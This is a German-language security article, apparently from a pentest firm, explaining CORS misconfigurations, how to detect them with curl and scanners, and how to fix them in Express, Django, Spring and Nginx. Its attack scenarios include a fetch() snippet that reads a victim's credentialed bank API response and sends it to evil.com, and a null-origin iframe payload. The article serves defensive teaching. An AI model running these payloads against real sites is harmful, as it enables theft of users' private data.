CORS - Cross-Origin Resource Sharing Fehlkonfiguration
CORS-Fehlkonfigurationen mit Wildcards erlauben Cross-Site-Requests mit Nutzer-Credentials. Erkennung und Behebung unsicherer CORS-Richtlinien.
Inhaltsverzeichnis (4 Abschnitte)
Kurzerklärung: CORS-Fehlkonfigurationen entstehen wenn Webserver Access-Control-Allow-Origin Wildcards oder nicht validierte Origins zurückgeben. Angreifer können im Browser des Opfers seitenübergreifende Requests mit Cookies stellen und sensitive API-Antworten lesen. Kritisch bei Access-Control-Allow-Credentials: true. Schutz: strikte Origin-Whitelist serverseitig validieren, keine Wildcards mit Credentials kombinieren.
CORS (Cross-Origin Resource Sharing) ist ein Browser-Sicherheitsmechanismus der Same-Origin-Policy-Ausnahmen für berechtigte Cross-Origin-Requests ermöglicht. Fehlkonfigurationen in CORS-Headern erlauben Angreifern, im Browser eines eingeloggten Opfers API-Requests an sensitive Endpunkte zu senden und die Antworten zu lesen - ein Angriff den Same-Origin-Policy eigentlich verhindern soll.
Das CORS-Grundprinzip
Same-Origin-Policy (SOP): Browser erlaubt JavaScript auf site-a.com NICHT, Responses von site-b.com zu lesen (Requests können gesendet werden - aber die Antwort wird blockiert).
CORS-Ausnahme (wenn Server zustimmt):
Access-Control-Allow-Origin: https://site-a.com
Der Browser erlaubt JavaScript dann die Antwort zu lesen.
Fehlkonfigurationen:
Access-Control-Allow-Origin: * ← Wildcard
Access-Control-Allow-Origin: null ← null Origin
Access-Control-Allow-Origin: <geklont aus Request> ← Echo
Problematische Kombination:
Access-Control-Allow-Credentials: true ← Cookies mitsenden!
Access-Control-Allow-Origin: * ← Browser BLOCKIERT das
Access-Control-Allow-Origin: <Echo> ← GEFÄHRLICH!
Angriffsszenarien
Szenario 1 - Origin Echo mit Credentials
Anfälliger Server-Code gibt einfach den Request-Origin zurück:
Access-Control-Allow-Origin: $REQUEST_ORIGIN
Access-Control-Allow-Credentials: true
Angriff von Angreifer-Seite (evil.com):
fetch('https://api.bank.com/account/balance', {
credentials: 'include' // Sendet Session-Cookie!
})
.then(r => r.json())
.then(data => {
// Angreifer liest Kontostand!
fetch('https://evil.com/steal?data=' + JSON.stringify(data));
});
Ablauf: Opfer besucht evil.com → Browser sendet Request zu api.bank.com MIT Session-Cookie → Server antwortet (CORS erlaubt es wegen Echo-Konfiguration!) → JavaScript liest sensitive Daten → Daten werden zu evil.com exfiltriert.
Szenario 2 - Null-Origin
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<!-- Sandboxed iframe sendet null als Origin -->
<iframe sandbox="allow-scripts" src="data:text/html,
<script>
fetch('https://api.target.com/private', { credentials: 'include' })
.then(r => r.text())
.then(d => parent.postMessage(d, '*'));
</script>
"></iframe>
data: URLs haben Origin: null - der Server erlaubt null, der iframe kann lesen.
Szenario 3 - Subdomain-Takeover + CORS
CORS-Whitelist: *.company.com - wenn staging.company.com per Subdomain-Takeover übernommen wird, kann der Angreifer von dort CORS-erlaubte Requests gegen api.company.com senden.
Szenario 4 - Regex-Bypass in Origin-Validierung
Server-Regex: /^https://company\.com$/
Escaping-Fehler: /https://company.com/ (Punkt nicht escaped)
→ companyXcom, company-evil.com matchen ebenfalls!
Erkennung im Pentest
1. Einfacher CORS-Check via curl
# Test: Origin senden und Response prüfen
curl -v -H "Origin: https://evil.com" \
https://api.target.com/api/user
# Response-Header prüfen:
# Access-Control-Allow-Origin: https://evil.com ← ECHO! Prüfen!
# Access-Control-Allow-Credentials: true ← KRITISCH!
2. Systematische Origin-Tests
# Verschiedene Origins testen:
curl -H "Origin: https://evil-target.com" https://target.com/api/
curl -H "Origin: null" https://target.com/api/
curl -H "Origin: https://target.com.evil.com" https://target.com/api/
curl -H "Origin: https://evil.com" https://target.com/api/
3. Burp Suite CORS Testing
- Origin-Header auf evil.com setzen
- Response: Access-Control-Allow-Origin prüfen?
- Falls Echo: mit Credentials testen
- Auf private Endpunkte ausweiten
4. Tool: corsy (Python)
# Automatisierter CORS-Scanner:
python3 corsy.py -u https://target.com/api/ -t 10
# Prüft alle bekannten CORS-Fehlkonfigurationen
5. Kritische Endpunkte prüfen
/api/user,/api/profile(PII)/api/payment,/api/account(Finanzen)/api/admin(privilegierte Operationen)/api/token,/api/auth(Authentifizierung)
Schweregrade
| Schweregrad | Konfiguration |
|---|---|
| KRITISCH | ACAO: Echo + ACAC: true + sensitive Endpunkte |
| HOCH | ACAO: null + ACAC: true |
| MITTEL | ACAO: * (ohne Credentials - kein Session-Zugriff) |
| INFO | ACAO: * auf public API ohne sensitive Daten |
Schutzmaßnahmen
1. Strikte Origin-Whitelist (EINZIGE korrekte Methode)
// Node.js/Express:
const allowedOrigins = [
'https://app.company.com',
'https://www.company.com'
];
app.use((req, res, next) => {
const origin = req.headers.origin;
// Immer gegen statische Whitelist prüfen!
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin'); // Cache-Poisoning verhindern!
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
// FALSCH (Echo):
// res.setHeader('ACAO', req.headers.origin); // NIEMALS!
2. CORS-Konfiguration per Framework
# Python (Django) - settings.py:
CORS_ALLOWED_ORIGINS = [
"https://app.company.com",
"https://www.company.com"
]
# KEIN: CORS_ORIGIN_ALLOW_ALL = True !
CORS_ALLOW_CREDENTIALS = True
// Java (Spring):
@CrossOrigin(origins = {"https://app.company.com"},
allowCredentials = "true")
// Kein @CrossOrigin(origins = "*") mit allowCredentials!
# Nginx - erlaubt nur exakt diese Origin:
if ($http_origin = "https://app.company.com") {
add_header 'Access-Control-Allow-Origin' $http_origin;
add_header 'Access-Control-Allow-Credentials' 'true';
}
3. Vary-Header IMMER setzen wenn Origin dynamisch
Vary: Origin
Verhindert dass Proxy-Caches falsche CORS-Response cachen.
4. Preflight-Requests richtig behandeln
OPTIONS /api/data HTTP/1.1
→ Nur erlaubte Methoden/Header zurückgeben:
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
5. Credentials mit Wildcard - niemals kombinieren
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Browser blockiert das bereits - aber nie Echo als Workaround verwenden!
6. Null-Origin niemals erlauben
if (origin === 'null') return; // null ablehnen!
// data: URLs, sandboxed iframes senden null
7. Für interne APIs ohne Browser-Zugriff
CORS deaktivieren (kein Allow-Origin Header) - CORS ist nur für APIs nötig, die von Browsern konsumiert werden.
Fragen zu diesem Thema?
Unsere Experten beraten Sie kostenlos und unverbindlich.
Über den Autor
Geschäftsführender Gesellschafter der AWARE7 GmbH mit langjähriger Expertise in Informationssicherheit, Penetrationstesting und IT-Risikomanagement. Absolvent des Masterstudiengangs Internet-Sicherheit an der Westfälischen Hochschule (if(is), Prof. Norbert Pohlmann). Bestseller-Autor im Wiley-VCH Verlag und Lehrbeauftragter der ASW-Akademie. Einschätzungen zu Cybersecurity und digitaler Souveränität erschienen u.a. in Welt am Sonntag, WDR, Deutschlandfunk und Handelsblatt.
10 Publikationen
- Einsatz von elektronischer Verschlüsselung - Hemmnisse für die Wirtschaft (2018)
- Kompass IT-Verschlüsselung - Orientierungshilfen für KMU (2018)
- IT Security Day 2025 - Live Hacking: KI in der Cybersicherheit (2025)
- Live Hacking - Credential Stuffing: Finanzrisiken jenseits Ransomware (2025)
- Keynote: Live Hacking Show - Ein Blick in die Welt der Cyberkriminalität (2025)
- Analyse von Angriffsflächen bei Shared-Hosting-Anbietern (2024)
- Gänsehaut garantiert: Die schaurigsten Funde aus dem Leben eines Pentesters (2022)
- IT Security Zertifizierungen - CISSP, T.I.S.P. & Co (Live-Webinar) (2023)
- Sicherheitsforum Online-Banking - Live Hacking (2021)
- Nipster im Netz und das Ende der Kreidezeit (2017)